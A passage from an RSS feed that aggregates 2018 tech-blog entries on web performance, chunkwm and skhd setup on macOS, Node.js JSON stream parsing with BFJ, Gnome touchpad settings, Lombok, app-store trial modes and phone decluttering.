&lt;p&gt;Application caches can also come in very useful. A major issue facing many sites is long-running queries. An easy solution to this is to cache the query response in the application, providing that the query is worth of caching and will not have its response changed a lot. &lt;a href="https://laravel.com/docs/5.6/cache"&gt;Laravel has this built in&lt;/a&gt; and &lt;a href="https://www.sohamkamani.com/blog/2016/10/14/make-your-node-server-faster-with-redis-cache/"&gt;Express can be extended to do this also&lt;/a&gt;. This will reduce the server response time and therefore lead to quicker page loads for the clients.&lt;/p&gt;
&lt;h2&gt;Enable Compression&lt;/h2&gt;
&lt;p&gt;Lastly, after reducing and minifying your sites payload, you can enable compression which will ensure they are transferred in the smallest possible form. There are two popular algorithms, &lt;a href="http://www.gzip.org/"&gt;Gzip&lt;/a&gt; and &lt;a href="https://github.com/google/brotli"&gt;Brotli&lt;/a&gt;. The latter is a more recent trend and actual has better compression rates than the long heralded Gzip. Nevertheless, I would still recommend using Gzip as Brotli takes more CPU power (and therefore time) to decompress on the client side.&lt;/p&gt;
&lt;p&gt;You can find guides on how to do this around the web that will be up to date long after this blog post is published but here is a &lt;a href="https://varvy.com/pagespeed/enable-compression.html"&gt;good one for Apache&lt;/a&gt; (which I assume will stay the same!).&lt;/p&gt;
&lt;p&gt;I hasten to add, that if your site must support &lt;a href="http://schroepl.net/projekte/mod_gzip/browser.htm"&gt;Netscape 3 and below &lt;/a&gt;then compression will be redundant here as they only support HTTP/1.0 which does not send the Accept-Encoding header. Nonetheless, with &lt;a href="http://gs.statcounter.com/browser-market-share"&gt;less than 1% of people worldwide&lt;/a&gt; using anything other than “the big 5” browsers — I think you’ll be in the clear.&lt;/p&gt;
&lt;p&gt;Performance should be considered a feature and whilst it would be great to spend lots of time on performance, companies tend to prioritize other tasks ahead of it. Whilst that is not ideal, using the 3 tips above (which should take less than 30 minutes per point) you can quickly improve the performance of your site or application in addition to having more potential leverage for time to be allocated for furthering performance.&lt;/p&gt;
&lt;p&gt;Do you have any other performance quick tips? Let me know at &lt;a href="mailto:hola@joshghent.com"&gt;hola@joshghent.com&lt;/a&gt; or comment below! I’m also on &lt;a href="https://twitter.com/joshghent?lang=en"&gt;twitter @joshghent&lt;/a&gt; where I tweet about web performance and more.&lt;/p&gt;</description><author/><pubDate>Sun, 01 Apr 2018 01:12:03 GMT</pubDate><guid isPermaLink="true">/google-psi-problems/</guid></item><item><title>Make your own Operating system</title><link>https://yasha.solutions/make-your-own-operating-system/</link><description>Writing your own OS – nobody does that.
That’s why it is interesting 🙂
 Reference post for later.
 OS general intro – pretty good.&amp;lt;div class=&amp;lsquo;avia-video avia-video-16-9 av-lazyload-immediate av-lazyload-video-embed ' itemprop=&amp;ldquo;video&amp;rdquo; itemtype=&amp;ldquo;https://schema.org/VideoObject&amp;quot; data-original_url=&amp;lsquo;https://www.youtube.com/watch?v=9GDX-IyZ_C8&amp;rsquo; &amp;gt;  Tutorial – Step by step  References:  From the guy who did the 1h tutorial.
http://wyoos.org/
Full list : http://wyoos.org/Videos/index.php
A pretty interesting book on lecture from Birmingham university on the topic here.</description><author>Yasha Solutions</author><pubDate>Sun, 01 Apr 2018 01:00:27 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/make-your-own-operating-system/</guid></item><item><title>Design is at the crossroad of business technology and art</title><link>https://yasha.solutions/design-is-at-the-crossroad-of-business-technology-and-art/</link><description>I look at design as a univeral tool for problem solving.
However most people and client I meet seem to see design only as the visual aspect of the solution.
The “How it looks” versus being the “how it works“.
So I decided to make a visual represention of it.
Design is everywhere
Design sit really at the crossroad of three fields – Art, Business and tech
Art, most often is the one it is associated with – in a world view where designers are just artists-for-hire to prettify the stuff the developpers/engineers do.</description><author>Yasha Solutions</author><pubDate>Sun, 01 Apr 2018 00:19:11 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/design-is-at-the-crossroad-of-business-technology-and-art/</guid></item><item><title>The Caves of Steel are coming, and this may be good. As long as...</title><link>https://stop.zona-m.net/2018/03/the-caves-of-steel-are-coming-and-this-may-be-good.-as-long-as.../</link><description>&lt;p&gt;There are now twice as many people as 50 years ago, and they are already concentrating into cities anyway. Therefore&amp;hellip;&amp;lt;!&amp;ndash;more&amp;mdash;&amp;gt;&lt;/p&gt;
&lt;p&gt;Therefore, they say, doing more of that, until we all live in Caves of Steel leaving the planet &amp;ldquo;empty&amp;rdquo; could be the best thing we may ever do. Maybe, but only if it happens in the right way&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Sat, 31 Mar 2018 13:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/03/the-caves-of-steel-are-coming-and-this-may-be-good.-as-long-as.../</guid></item><item><title>Trying out chunkwm</title><link>https://xenodium.com/trying-out-chunkwm</link><description>&lt;p&gt;&lt;img alt="" src="https://xenodium.github.io/images/trying-out-chunkwm/chunkwm.png" /&gt;&lt;/p&gt;
&lt;h3&gt;Installing &lt;a href="https://github.com/koekeishiya/chunkwm"&gt;Chunkwm&lt;/a&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;$ brew tap crisidev/homebrew-chunkwm
$ brew install --HEAD --with-tmp-logging chunkwm
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Add a configuration file. Started off from this &lt;a href="https://gist.github.com/shihanng/65b73712df2e51d4d78cc27c218bac35#file-chunkwmrc"&gt;example&lt;/a&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;~&lt;em&gt;.chunkwmrc chmod +x ~&lt;/em&gt;.chunkwmrc&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: Ensure core::plugin_dir matches homebrew's plugin directory. Typically something like: //path/to/homebrew/opt/chunkwm/share/chunkwm/plugins/&lt;/p&gt;
&lt;p&gt;Start chunkwmrc service.&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;$ brew services start crisidev/chunkwm/chunkwm
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Installing &lt;a href="https://github.com/koekeishiya/skhd"&gt;skhd&lt;/a&gt; (a hotkey daemon)&lt;/h3&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;$ brew install --HEAD --with-logging  koekeishiya/formulae/skhd
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Start skhd service.&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;$ brew services start koekeishiya/formulae/skhd
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Skhd logs location.&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;/Users/you/homebrew/var/log/skhd/skhd.[out|err].log
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Add a configuration file. Started off from this &lt;a href="https://raw.githubusercontent.com/koekeishiya/chunkwm/master/src/plugins/tiling/examples/khdrc"&gt;example&lt;/a&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;~/.skhdrc
chmod +x ~/.skhdrc
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Installing &lt;a href="https://github.com/koekeishiya/skhd"&gt;khd&lt;/a&gt; (easily invoke hotkeys from terminal)&lt;/h3&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;$ brew install khd
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Some additional Mission Control and keyboard shortcut preferences:&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://xenodium.github.io/images/trying-out-chunkwm/mission_control.png" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://xenodium.github.io/images/trying-out-chunkwm/keyboard_shortcuts.png" /&gt;&lt;/p&gt;</description><author>xenodium.com @alvaro</author><pubDate>Sat, 31 Mar 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/trying-out-chunkwm</guid></item><item><title>Adventures in libopencm3 - part 1</title><link>https://ciesie.com/post/libopencm3_part1/</link><description>&lt;p&gt;Recently, I&amp;rsquo;ve started working on a new project. It will take some time before the goal of the
project is even worth mentioning. The important part is that it is an electronics/hardware
project and it needs an energy efficient computing unit.&lt;/p&gt;
&lt;p&gt;For early development I chose an &lt;strong&gt;ARM Cortex M3 STM32F3&lt;/strong&gt; microcontroller. More precisely
&lt;strong&gt;STM32F303K8T6&lt;/strong&gt;, mostly because I have a &lt;strong&gt;Nucleo&lt;/strong&gt; board, with this chip, laying around.
It&amp;rsquo;s also a good time to try a new framework. Choices worth considering:&lt;/p&gt;</description><author>ciesie.com</author><pubDate>Sat, 31 Mar 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ciesie.com/post/libopencm3_part1/</guid></item><item><title>Parsing individual data items from huge JSON streams in Node.js</title><link>https://philbooth.me/blog/parsing-individual-data-items-from-huge-json-streams-in-nodejs/</link><description>&lt;p&gt;Let&amp;rsquo;s say you have a huge amount of JSON data
and you want to parse values from it in Node.js.
Perhaps it&amp;rsquo;s stored in a file on disk
or, more trickily,
it&amp;rsquo;s on a remote machine
and you don&amp;rsquo;t want to download the entire thing
just to get some data from it.
And even if it is on the local file system,
the thing is so huge that reading it in to memory
and calling &lt;code&gt;JSON.parse&lt;/code&gt;
will crash the process
with an out-of-memory exception.
Today I implemented a new method
for my async JSON-parsing lib, &lt;a href="https://gitlab.com/philbooth/bfj"&gt;BFJ&lt;/a&gt;,
which has exactly this type of scenario in mind.&lt;/p&gt;
&lt;p&gt;BFJ already had a bunch of methods
for parsing and serialising
large amounts of JSON &lt;em&gt;en masse&lt;/em&gt;,
so I won&amp;rsquo;t go into those here.
The &lt;a href="https://gitlab.com/philbooth/bfj/blob/master/README.md#bfj"&gt;readme&lt;/a&gt;
is a good place to start
if you want to learn more.
Instead,
this post is going to focus on
the new method, &lt;code&gt;match&lt;/code&gt;,
which is concerned with picking individual records
from a larger set.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;match&lt;/code&gt; takes 3 arguments:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;A &lt;a href="https://nodejs.org/api/stream.html#stream_readable_streams"&gt;readable stream&lt;/a&gt;
containing the JSON input.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;A selector argument,
used to identify matches from the stream.
This can be
a string, a regular expression or a predicate function.
Strings and regular expressions are used
to match against property keys.
Predicate functions are called for each item in the data
and passed two arguments,
&lt;code&gt;key&lt;/code&gt; and &lt;code&gt;value&lt;/code&gt;.
Whenever the predicate returns &lt;code&gt;true&lt;/code&gt;,
that value will be pushed to the stream.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;An optional options object.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;It returns a readable, object-mode stream
that will receive the matched items.&lt;/p&gt;
&lt;p&gt;Enough chit-chat, let&amp;rsquo;s see some example code!&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;const bfj = require('bfj');

// Stream user objects from a file on disk
bfj.match(fs.createReadStream(path), 'user')
  .pipe(createUserStream());

// Stream all the odd-numbered items from an array
bfj.match(fs.createReadStream(path), /[13579]$/)
  .pipe(createOddIndexStream());

// Stream everything that looks like an email address from some remote resource
const request = require('request');
bfj.match(request(url), (key, value) =&amp;gt; emailAddressRegex.test(value))
  .pipe(createEmailAddressStream());
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Those examples do not try
to load all of the data into memory
in one hit.
Instead they parse the data sequentially,
pushing a value to the returned stream
whenever they find a match.
The parse also happens asynchronously,
yielding at regular intervals
so as not to monopolise the event loop.&lt;/p&gt;
&lt;p&gt;The approach can be used to parse items
from multiple JSON objects in a single source, too,
by setting the &lt;code&gt;ndjson&lt;/code&gt; option to &lt;code&gt;true&lt;/code&gt;.
For example,
say you have a log file
containing structured JSON data
logged by &lt;a href="https://github.com/trentm/node-bunyan"&gt;Bunyan&lt;/a&gt;
or &lt;a href="https://github.com/winstonjs/winston"&gt;Winston&lt;/a&gt;.
Specifying &lt;code&gt;ndjson&lt;/code&gt; will cause BFJ
to treat newline characters as delimiters,
allowing you to pull out interesting values
from each line in the log:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;// Stream uids from a logfile
bfj.match(fs.createReadStream(logpath), 'uid', { ndjson: true })
  .pipe(createUidStream());
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If you need to handle errors from the stream,
you can do that by attaching event handlers:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;const outstream = bfj.match(instream, selector);
outstream.on('data', value =&amp;gt; {
  // A matching value was found
});
outstream.on('dataError', error =&amp;gt; {
  // A syntax error was found in the JSON data
});
outstream.on('error', error =&amp;gt; {
  // An operational error occurred
});
outstream.on('end', value =&amp;gt; {
  // The end of the stream was reached
});
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;There&amp;rsquo;s lots more information
in the &lt;a href="https://gitlab.com/philbooth/bfj/blob/master/README.md#bfj"&gt;readme&lt;/a&gt; so,
if any of this sounds interesting,
I encourage you to take a look!&lt;/p&gt;</description><author>Phil Booth's Blog</author><pubDate>Fri, 30 Mar 2018 23:44:08 GMT</pubDate><guid isPermaLink="true">https://philbooth.me/blog/parsing-individual-data-items-from-huge-json-streams-in-nodejs/</guid></item><item><title>Fixing right click on touchpads in Gnome</title><link>https://blog.separateconcerns.com/2018-03-30-gnome-touchpad.html</link><description>&lt;p&gt;If you are like me, maybe you have recently updated your Linux laptop and found out that right click had stopped working on the touchpad. It took me half an hour to figure out why. I was looking at low-level stuff until I realized &lt;code&gt;libinput debug-events&lt;/code&gt; saw the right thing:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-text"&gt;event11  POINTER_BUTTON    +3.35s
    BTN_RIGHT (273) pressed, seat count: 1
event11  POINTER_BUTTON    +3.49s
    BTN_RIGHT (273) released, seat count:
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It turns out Gnome decided to &lt;a href="https://help.gnome.org/misc/release-notes/3.28/"&gt;change the default behavior of touchpads&lt;/a&gt; in version 3.28:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;All touchpads now use a gesture for secondary click (the equivalent to right click on a mouse) by default. To use the gesture, keep one finger in contact with the touchpad and tap with another finger. In many cases this replaces tapping areas of the touchpad as the default secondary click method. A choice between the two behaviors is available in the Tweaks application.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Of course the new behavior is terrible if you use physical clicks, plus you have to re-train your muscle memory… To revert to clicks in the bottom-right corner, you can use the gnome-tweaks application as advised, or simply this gsettings command:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-shell"&gt;gsettings set org.gnome.desktop.peripherals.touchpad \
    click-method areas
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;But seriously, Gnome developers, if you are going to change an important default like that, why not at least add an option in the obvious place where it belongs?&lt;/p&gt;
&lt;p&gt;&lt;img alt="gnome-touchpad-settings" src="img/gnome-touchpad-settings.jpg" /&gt;&lt;/p&gt;</description><author>Separate Concerns</author><pubDate>Fri, 30 Mar 2018 22:00:00 GMT</pubDate><guid isPermaLink="true">https://blog.separateconcerns.com/2018-03-30-gnome-touchpad.html</guid></item><item><title>Startup culture or HR marketing scam</title><link>https://yasha.solutions/startup-culture-or-hr-marketing-scam/</link><description>Just watch the following talk…
Trends sell.
Sometime they sell bulshit.
Startup culture and entrepreneurship is trendy now.
But now always for good reasons…</description><author>Yasha Solutions</author><pubDate>Fri, 30 Mar 2018 16:45:17 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/startup-culture-or-hr-marketing-scam/</guid></item><item><title>SF Cityscapes</title><link>https://faingezicht.com/photos/2018/03/30/cityscapes/</link><description>I have been making an effort to carry my camera with me whenever I take public transit to work in the morning. I usually bike, but a couple of weeks ago, my bike got stolen. The result? An upset Avy. The other result? More city photos from downtown San Francisco.</description><author>Avy Faingezicht</author><pubDate>Fri, 30 Mar 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/photos/2018/03/30/cityscapes/</guid></item><item><title>It is 'just' ...</title><link>https://ilearnt.com/blog/just/</link><description>&lt;p&gt;It is very easy to make assumptions about a subject you know well and others may not. You will have knowledge you have learnt over time that you perceive is so simple or obvious that others should just know it - forgetting that once you too had to learn it. This article sums it up really well with the word &amp;hellip; &amp;ldquo;just&amp;rdquo;.&lt;/p&gt;</description><author>I Learnt</author><pubDate>Thu, 29 Mar 2018 14:00:00 GMT</pubDate><guid isPermaLink="true">https://ilearnt.com/blog/just/</guid></item><item><title>Prefer Lombok's `@SneakyThrows` to rethrowing checked exceptions as `RuntimeException`s</title><link>https://www.databasesandlife.com/sneaky-throws/</link><description>&lt;p&gt;The traditional way of dealing with a checked exception being thrown from a place where you know it can&amp;rsquo;t actually be thrown, is to re-throw it as a &lt;code&gt;RuntimeException&lt;/code&gt;. That way in case it &lt;em&gt;does&lt;/em&gt; actually happen, you&amp;rsquo;ll know about it, and have the full stack trace available.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public void foo() {
    try {
        Writer w = .....
        w.write(&amp;quot;foo&amp;quot;);
        ....
    } catch (IOException e) {
       throw new RuntimeException(e); 
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Project Lombok offers the annotation &lt;a href="https://projectlombok.org/features/SneakyThrows" rel="noopener noreferrer" target="_blank"&gt;&lt;code&gt;@SneakyThrows&lt;/code&gt;&lt;/a&gt; which allows you to write the above code as follows:&lt;/p&gt;</description><author>Databases &amp;amp; Life</author><pubDate>Thu, 29 Mar 2018 11:44:23 GMT</pubDate><guid isPermaLink="true">https://www.databasesandlife.com/sneaky-throws/</guid></item><item><title>The Internet of Things Is Coming. Inside Us. But not like you think.</title><link>https://stop.zona-m.net/2018/03/the-internet-of-things-is-coming.-inside-us.-but-not-like-you-think./</link><description>&lt;p&gt;John Vidal says that the plastics crisis is more urgent than you know, because plastic is &lt;a href="https://amp.theguardian.com/commentisfree/2018/mar/28/plastic-crisis-urgent-recycling-bottles-no-fix"&gt;&amp;ldquo;in our food, our clothes - and in us&amp;rdquo;&lt;/a&gt;. But it may be even worst than he says&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Thu, 29 Mar 2018 11:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/03/the-internet-of-things-is-coming.-inside-us.-but-not-like-you-think./</guid></item><item><title>Test First Manufacturing</title><link>https://www.craigpardey.com/post/2018-03-29-test-first/</link><description>&lt;p&gt;I&amp;rsquo;m currently reading &lt;a href="https://www.amazon.com/Box-Shipping-Container-Smaller-Economy/dp/0691170819"&gt;The Box&lt;/a&gt; by Marc Levinson.  It is a fascinating book that chronicles the changes in the shipping industry brought about through the introduction of shipping containers.  It sounds dry, but it&amp;rsquo;s not. The innovators faced huge barriers, including governments, labour unions, and standards committees.  I have such deep respect for &lt;a href="https://en.wikipedia.org/wiki/Malcom_McLean"&gt;Malcom McLean&lt;/a&gt; for persisting through the insurmountable bureaucracy.&lt;/p&gt;
&lt;p&gt;At one point, they discuss how a particular design aspect of the container was deemed unsuitable and had to be rectified:&lt;/p&gt;</description><author>Craig Pardey</author><pubDate>Thu, 29 Mar 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.craigpardey.com/post/2018-03-29-test-first/</guid></item><item><title>March 2018 Book Recommendations</title><link>https://manuel.kiessling.net/2018/03/28/march-2018-book-recommendations/</link><description>The Anatomy of Peace – Second Edition  What if in our conflicts with others there is something we want more than solutions? What if conflicts at home, conflicts at work, and conflicts in the world stem from the same root cause? And what if individually and collectively we systematically misunderstand that cause, and unwittingly perpetuate the very problems we think we are trying to solve? These are among the important questions explored in The Anatomy of Peace.</description><author>Home on The Log Book of Manuel Kießling</author><pubDate>Wed, 28 Mar 2018 22:46:00 GMT</pubDate><guid isPermaLink="true">https://manuel.kiessling.net/2018/03/28/march-2018-book-recommendations/</guid></item><item><title>Input Club K-Type and /dev/tty impressions</title><link>https://liza.io/input-club-k-type-and-/dev/tty-impressions/</link><description>&lt;p&gt;This post will have some general impressions of Input Club K-Type and matt3o&amp;rsquo;s new keycap profile (MT3), with the /dev/tty color scheme. Both products were ordered from Massdrop last year.&lt;/p&gt;</description><author>Liza Shulyayeva</author><pubDate>Wed, 28 Mar 2018 20:38:27 GMT</pubDate><guid isPermaLink="true">https://liza.io/input-club-k-type-and-/dev/tty-impressions/</guid></item><item><title>Don't make me code in your text box!</title><link>https://blog.harterrt.com/coding_in_textboxes.html</link><description>&lt;p&gt;Whenever I start a new data project,
my first step is rooting out any false assumptions I have about the data.&lt;/p&gt;
&lt;p&gt;The key here is iterating quickly.
My workflow looks like this:
Code a little, plot the data, what do you see?
Ah, outliers.
Code a little, plot the data …&lt;/p&gt;</description><author>blog.harterrt.com</author><pubDate>Wed, 28 Mar 2018 10:00:00 GMT</pubDate><guid isPermaLink="true">https://blog.harterrt.com/coding_in_textboxes.html</guid></item><item><title>Consistent Ordering of N-Dimensional Neighbors</title><link>https://mattkeeter.com/blog/2018-03-28-neighbors</link><description/><author>Matt Keeter</author><pubDate>Wed, 28 Mar 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://mattkeeter.com/blog/2018-03-28-neighbors</guid></item><item><title>Easily switch between many NPM accounts</title><link>https://www.jviotti.com/2018/03/28/easily-switch-between-many-npm-accounts.html</link><description>This article describes a trick for easily switching between multiple NPM accounts on the terminal</description><author>Juan Cruz Viotti</author><pubDate>Wed, 28 Mar 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.jviotti.com/2018/03/28/easily-switch-between-many-npm-accounts.html</guid></item><item><title>React Suspense Q&amp;amp;A</title><link>https://www.swyx.io/react-suspense-qa-28lc</link><description>&lt;p&gt;a friendly cheat sheet for those wondering what React Suspense is and if they should care&lt;/p&gt;</description><author>swyx's site RSS Feed</author><pubDate>Wed, 28 Mar 2018 00:02:17 GMT</pubDate><guid isPermaLink="true">https://www.swyx.io/react-suspense-qa-28lc</guid></item><item><title>cofounding and company ownership over time</title><link>https://yasha.solutions/cofounding-and-company-ownership-over-time/</link><description>Very good talk about how company founders should think about equity and capital shares.“Founders, don’t fuck up your cap tables!” by Oussama, Founder @The Family</description><author>Yasha Solutions</author><pubDate>Tue, 27 Mar 2018 14:25:26 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/cofounding-and-company-ownership-over-time/</guid></item><item><title>Smart contracts, these are not</title><link>https://stop.zona-m.net/2018/03/smart-contracts-these-are-not/</link><description>&lt;p&gt;This is just an excerpt,with some comments of a very interesting article about how little lawmakers know about technology, and software developers about laws and legal systems.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Tue, 27 Mar 2018 11:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/03/smart-contracts-these-are-not/</guid></item><item><title>Developing Cobalt Dungeon using Phaser and Cordova</title><link>https://thomashunter.name/posts/2018-03-27-developing-cobalt-dungeon-using-phaser-and-cordova</link><author>Thomas Hunter II</author><pubDate>Tue, 27 Mar 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://thomashunter.name/posts/2018-03-27-developing-cobalt-dungeon-using-phaser-and-cordova</guid></item><item><title>Vignettes redux</title><link>https://rjp.is/blogging/posts/vignettes-redux/</link><description>In which we summarise some films through subtitle actions.</description><author>infrequent oscillations</author><pubDate>Tue, 27 Mar 2018 00:01:20 GMT</pubDate><guid isPermaLink="true">https://rjp.is/blogging/posts/vignettes-redux/</guid></item><item><title>The cars that drive themselves. But only if you drive them too</title><link>https://stop.zona-m.net/2018/03/the-cars-that-drive-themselves.-but-only-if-you-drive-them-too/</link><description>&lt;p&gt;Have you seen that video of a driverless car that killed a cyclist, with the car &amp;ldquo;passenger&amp;rdquo; unable to do anything about it? Personally, I find that video a perfect proof of something I&amp;rsquo;ve always thought: the huge, BASIC problem with &amp;ldquo;driverless cars&amp;rdquo; with a driver that should step in when needed.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Mon, 26 Mar 2018 11:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/03/the-cars-that-drive-themselves.-but-only-if-you-drive-them-too/</guid></item><item><title>Appstores need a Trial Mode</title><link>http://blog.pythonaro.com/2018/03/appstores-need-trial-mode.html</link><description>&lt;p&gt;I've been looking for a while for a Windows-native Twitter client that could sync with my other non-Windows devices (&lt;abbr title="also known as"&gt;aka&lt;/abbr&gt; "supporting TweetMarker"). I've found one that claims to do that, &lt;a href="https://www.microsoft.com/store/productId/9NBLGGH62LKC"&gt;Tweet It!&lt;/a&gt;, but there is a problem: it costs £3.5 upfront. That's a relatively high amount of money to throw down a well hoping that my wish will come true. However, because this feature is so rare, &lt;i&gt;if it worked&lt;/i&gt; I'd be happy to pay three times as much, no questions asked. I just have no way to find out.&lt;/p&gt;

&lt;p&gt;Appstores need a simple Trial Mode. All the current hacks (In-App-Purchases, subscriptions, refunds etc) are just that, clumsy workarounds to this glaring omission, which is why app prices are so squeezed down - to the chagrin of indie developers. Trial Mode would also bring huge collateral benefits like reducing reliance on SaaS services (something that Microsoft in particular should relish) and creating viable alternatives to the free-to-play bubble that has turned online gaming into a socially-accepted form of gambling addiction.&lt;/p&gt;
&lt;p&gt;I doubt Apple will ever introduce Trial Mode - they are the dominant player and have little incentive to change the rules; and Android is a far west where the Play Store is almost irrelevant. But Microsoft should experiment with something like this, while the Windows Store is still young and evolving. Both developers and users would love it, they have been asking for something like this for years.&lt;/p&gt;</description><author>Subclassed</author><pubDate>Mon, 26 Mar 2018 10:00:12 GMT</pubDate><guid isPermaLink="true">http://blog.pythonaro.com/2018/03/appstores-need-trial-mode.html</guid></item><item><title>Links - March 26, 2018</title><link>https://faingezicht.com/links/2018/03/26/links/</link><description>I have been awful at sharing links lately, and I haven't quite figured out why. Partially it is because my consumption patterns have changed. I'm reading more books on paper, spending more time reading tweets, and devoting many many hours a week to listening to podcasts - according to my phone's stats, I'm spending 8 hours per week on Overcast (at 1.5x, not counting smart speed!) and another 4 hours per week on Twitter (plus however long I spend scrolling on my laptop). That's a ton of content, and sifting through to decide what's worth sharing is tough.

I'll try to go back to sharing a bunch of smaller posts instead of these huge lists going forward. We'll see how that goes.

Anyway here they are:</description><author>Avy Faingezicht</author><pubDate>Mon, 26 Mar 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/links/2018/03/26/links/</guid></item><item><title>📱 Zen iPhone</title><link>/zen-iphone/</link><description>&lt;div class="image"&gt;
	&lt;img src="../../assets/images/zeniphone.jpg" /&gt;
	&lt;em&gt;Photo credit: &lt;a href="https://unsplash.com/photos/Dl6jeyfihLk"&gt;https://unsplash.com/photos/Dl6jeyfihLk&lt;/a&gt;&lt;/em&gt;
&lt;/div&gt;
&lt;p&gt;Ever since the smartphone arrived in our hands, people everywhere have been utterly entranced by them. Spending never more than a moment without being bathed in white digital light.&lt;/p&gt;
&lt;p&gt;I consider myself in that crowd. But recently I have been more inclined to try and spend time on my phone in a more purposeful manner. I found that I was just scrolling endlessly on various apps just to avoid doing other things — as a form of procrastination. I’m not a maverick to the extent that I will abandon a smartphone entirely and resort to a &lt;a href="https://en.wikipedia.org/wiki/Nokia_3310"&gt;Nokia 3310&lt;/a&gt; or carrier pigeon but I did “refactor” my phone. And in doing so found a few helpful points which may help others do the same.&lt;/p&gt;
&lt;p&gt;I treat my phone as my virtual desk and although it has long been touted that &lt;a href="https://www.inc.com/geoffrey-james/a-messy-desk-is-a-sign-of-genius-according-to-scie.html"&gt;genius’ generally prefer their desks messy&lt;/a&gt;, to the vast majority of people, order and tidiness is preferred. In this way, be mindful about organising your home screen in a way that is conducive to things you want to accomplish and deters from things you don’t want to get distracted by.&lt;/p&gt;
&lt;p&gt;Many will say to completely delete distracting apps. Generally, social media and/or games are a way to relax on the train home or perhaps to scroll through whilst waiting in line and so deleting them seems like a step too far. As a solution to this, you can put “distracting” apps on the second page of a folder.&lt;/p&gt;
&lt;p&gt;For example, have a social media folder that on the first page has just LinkedIn. On the second page of that folder, is Instagram, Twitter, Snapchat and more. Not only does this mean it takes an extra action to access these distracting apps, but also keeps the screen less busy; Every app prefers a different color theme, Twitter is blue, Snapchat is yellow and Instagram, like a child trying to pick which ice cream they want, went for a loud 3 color gradient. Keeping these out of sight keeps your phone a more serene place.&lt;/p&gt;
&lt;p&gt;In line with this “less busy” theme, I have found simple two-color linear gradient backgrounds particularly helpful. I found single colors too boring but a gradient gave it that little extra twist. Further, the menu bar (or whatever you call the bar at the top of the screen) was a particular source of chaos. This was solved this by removed the battery percentage so that it is only icons on my menu bar — again giving it an air of peace and serenity.&lt;/p&gt;
&lt;p&gt;The plethora of large red badges that just beg you to click on them are seldom left untouched. I removed all of these with two exceptions, my unread email count and the Todoist tasks I have due for the day.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Out of sight, out of mind — proverb&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Without a doubt, one of the most useful features you can activate on your phone is automated Do not disturb. As a programmer, I like this automated. Therefore, I have it configured to turn on my do not disturb between 10 pm and 6 am. This means I am not distracted by incoming emails or other messages as I am winding down for bed.&lt;/p&gt;
